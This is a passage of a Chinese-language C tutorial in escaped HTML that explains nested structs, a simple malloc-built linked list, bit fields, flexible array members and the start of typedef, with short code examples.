class=\"string\"\u003e\u0026#34;shark\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .age=\u003cspan class=\"number\"\u003e9\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .breed={\u003cspan class=\"string\"\u003e\u0026#34;Selachimorpha\u0026#34;\u003c/span\u003e, \u003cspan class=\"number\"\u003e500\u003c/span\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 写法四\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003efish\u003c/span\u003e \u003cspan class=\"title\"\u003eshark\u003c/span\u003e =\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .name=\u003cspan class=\"string\"\u003e\u0026#34;shark\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .age=\u003cspan class=\"number\"\u003e9\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .breed.name=\u003cspan class=\"string\"\u003e\u0026#34;Selachimorpha\u0026#34;\u003c/span\u003e,\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e .breed.kinds=\u003cspan class=\"number\"\u003e500\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;Shark\u0026#39;s species is %s\u0026#34;\u003c/span\u003e, shark.breed.name);\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例展示了嵌套 Struct 结构的四种赋值写法。另外,引用\u003ccode\u003ebreed\u003c/code\u003e属性的内部属性,要使用两次点运算符(\u003ccode\u003eshark.breed.name\u003c/code\u003e)。\u003c/p\u003e\u003cp\u003e下面是另一个嵌套 struct 的例子。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ename\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e first[\u003cspan class=\"number\"\u003e50\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e last[\u003cspan class=\"number\"\u003e50\u003c/span\u003e];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003estudent\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ename\u003c/span\u003e \u003cspan class=\"title\"\u003ename\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eshort\u003c/span\u003e age;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e sex;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} student1;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(student1.name.first, \u003cspan class=\"string\"\u003e\u0026#34;Harry\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"built_in\"\u003estrcpy\u003c/span\u003e(student1.name.last, \u003cspan class=\"string\"\u003e\u0026#34;Potter\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// or\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003ename\u003c/span\u003e \u003cspan class=\"title\"\u003emyname\u003c/span\u003e =\u003c/span\u003e {\u003cspan class=\"string\"\u003e\u0026#34;Harry\u0026#34;\u003c/span\u003e, \u003cspan class=\"string\"\u003e\u0026#34;Potter\u0026#34;\u003c/span\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estudent1.name = myname;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,自定义类型\u003ccode\u003estudent\u003c/code\u003e的\u003ccode\u003ename\u003c/code\u003e属性是另一个自定义类型,如果要引用后者的属性,就必须使用两个\u003ccode\u003e.\u003c/code\u003e运算符,比如\u003ccode\u003estudent1.name.first\u003c/code\u003e。另外,对字符数组属性赋值,要使用\u003ccode\u003estrcpy()\u003c/code\u003e函数,不能直接赋值,因为直接改掉字符数组名的地址会报错。\u003c/p\u003e\u003cp\u003estruct 结构内部不仅可以引用其他结构,还可以自我引用,即结构内部引用当前结构。比如,链表结构的节点就可以写成下面这样。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e* \u003cspan class=\"title\"\u003enext\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003enode\u003c/code\u003e结构的\u003ccode\u003enext\u003c/code\u003e属性,就是指向另一个\u003ccode\u003enode\u003c/code\u003e实例的指针。下面,使用这个结构自定义一个数据链表。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e data;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e* \u003cspan class=\"title\"\u003enext\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003enode\u003c/span\u003e* \u003cspan class=\"title\"\u003ehead\u003c/span\u003e;\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 生成一个三个节点的列表 (11)-\u0026gt;(22)-\u0026gt;(33)\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e node));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;data = \u003cspan class=\"number\"\u003e11\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e node));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next-\u0026gt;data = \u003cspan class=\"number\"\u003e22\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next-\u0026gt;next = \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e node));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next-\u0026gt;next-\u0026gt;data = \u003cspan class=\"number\"\u003e33\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003ehead-\u0026gt;next-\u0026gt;next-\u0026gt;next = \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e// 遍历这个列表\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e node *cur = head; cur != \u003cspan class=\"literal\"\u003eNULL\u003c/span\u003e; cur = cur-\u0026gt;next) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\\n\u0026#34;\u003c/span\u003e, cur-\u0026gt;data);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例是链表结构的最简单实现,通过\u003ccode\u003efor\u003c/code\u003e循环可以对其进行遍历。\u003c/p\u003e\u003ch3 id=\"位字段\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E4%BD%8D%E5%AD%97%E6%AE%B5\" class=\"headerlink\" title=\"位字段\"\u003e\u003c/a\u003e位字段\u003c/h3\u003e\u003cp\u003estruct 还可以用来定义二进制位组成的数据结构,称为“位字段”(bit field),这对于操作底层的二进制数据非常有用。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e \u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ab:\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e cd:\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e ef:\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e gh:\u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} synth;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esynth.ab = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003esynth.cd = \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,每个属性后面的\u003ccode\u003e:1\u003c/code\u003e,表示指定这些属性只占用一个二进制位,所以这个数据结构一共是4个二进制位。\u003c/p\u003e\u003cp\u003e注意,定义二进制位时,结构内部的各个属性只能是整数类型。\u003c/p\u003e\u003cp\u003e实际存储的时候,C 语言会按照\u003ccode\u003eint\u003c/code\u003e类型占用的字节数,存储一个位字段结构。如果有剩余的二进制位,可以使用未命名属性,填满那些位。也可以使用宽度为0的属性,表示占满当前字节剩余的二进制位,迫使下一个属性存储在下一个字节。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e field1 : \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e : \u003cspan class=\"number\"\u003e2\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e field2 : \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e : \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eunsigned\u003c/span\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e field3 : \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e} stuff;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estuff.field1\u003c/code\u003e与\u003ccode\u003estuff.field2\u003c/code\u003e之间,有一个宽度为两个二进制位的未命名属性。\u003ccode\u003estuff.field3\u003c/code\u003e将存储在下一个字节。\u003c/p\u003e\u003ch3 id=\"弹性数组成员\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E5%BC%B9%E6%80%A7%E6%95%B0%E7%BB%84%E6%88%90%E5%91%98\" class=\"headerlink\" title=\"弹性数组成员\"\u003e\u003c/a\u003e弹性数组成员\u003c/h3\u003e\u003cp\u003e很多时候,不能事先确定数组到底有多少个成员。如果声明数组的时候,事先给出一个很大的成员数,就会很浪费空间。C 语言提供了一个解决方法,叫做弹性数组成员(flexible array member)。\u003c/p\u003e\u003cp\u003e如果不能事先确定数组成员的数量时,可以定义一个 struct 结构。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003evstring\u003c/span\u003e {\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e len;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003echar\u003c/span\u003e chars[];\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e};\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,\u003ccode\u003estruct vstring\u003c/code\u003e结构有两个属性。\u003ccode\u003elen\u003c/code\u003e属性用来记录数组\u003ccode\u003echars\u003c/code\u003e的长度,\u003ccode\u003echars\u003c/code\u003e属性是一个数组,但是没有给出成员数量。\u003c/p\u003e\u003cp\u003e\u003ccode\u003echars\u003c/code\u003e数组到底有多少个成员,可以在为\u003ccode\u003evstring\u003c/code\u003e分配内存时确定。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"class\"\u003e\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e \u003cspan class=\"title\"\u003evstring\u003c/span\u003e* \u003cspan class=\"title\"\u003estr\u003c/span\u003e =\u003c/span\u003e \u003cspan class=\"built_in\"\u003emalloc\u003c/span\u003e(\u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"keyword\"\u003estruct\u003c/span\u003e vstring) + n * \u003cspan class=\"keyword\"\u003esizeof\u003c/span\u003e(\u003cspan class=\"type\"\u003echar\u003c/span\u003e));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003estr-\u0026gt;len = n;\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003cp\u003e上面示例中,假定\u003ccode\u003echars\u003c/code\u003e数组的成员数量是\u003ccode\u003en\u003c/code\u003e,只有在运行时才能知道\u003ccode\u003en\u003c/code\u003e到底是多少。然后,就为\u003ccode\u003estruct vstring\u003c/code\u003e分配它需要的内存:它本身占用的内存长度,再加上\u003ccode\u003en\u003c/code\u003e个数组成员占用的内存长度。最后,\u003ccode\u003elen\u003c/code\u003e属性记录一下\u003ccode\u003en\u003c/code\u003e是多少。\u003c/p\u003e\u003cp\u003e这样就可以让数组\u003ccode\u003echars\u003c/code\u003e有\u003ccode\u003en\u003c/code\u003e个成员,不用事先确定,可以跟运行时的需要保持一致。\u003c/p\u003e\u003cp\u003e弹性数组成员有一些专门的规则。首先,弹性成员的数组,必须是 struct 结构的最后一个属性。另外,除了弹性数组成员,struct 结构必须至少还有一个其他属性。\u003c/p\u003e\u003ch2 id=\"typedef-命令\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#typedef-%E5%91%BD%E4%BB%A4\" class=\"headerlink\" title=\"typedef 命令\"\u003e\u003c/a\u003etypedef 命令\u003c/h2\u003e\u003ch3 id=\"简介-7\"\u003e\u003ca href=\"https://xeonds.github.io/2021/11/02/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/%E3%80%8AC%E8%AF%AD%E8%A8%80%E5%85%A5%E9%97%A8%E6%95%99%E7%A8%8B%E3%80%8B%E9%98%AE%E4%B8%80%E5%B3%B0/#%E7%AE%80%E4%BB%8B-7\" class=\"headerlink\" title=\"简介\"\u003e\u003c/a\u003e简介\u003c/h3\u003e\u003cp\u003e\u003ccode\u003etypedef\u003c/code\u003e命令用来为某个类型起别名。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"keyword\"\u003etypedef\u003c/span\u003e type 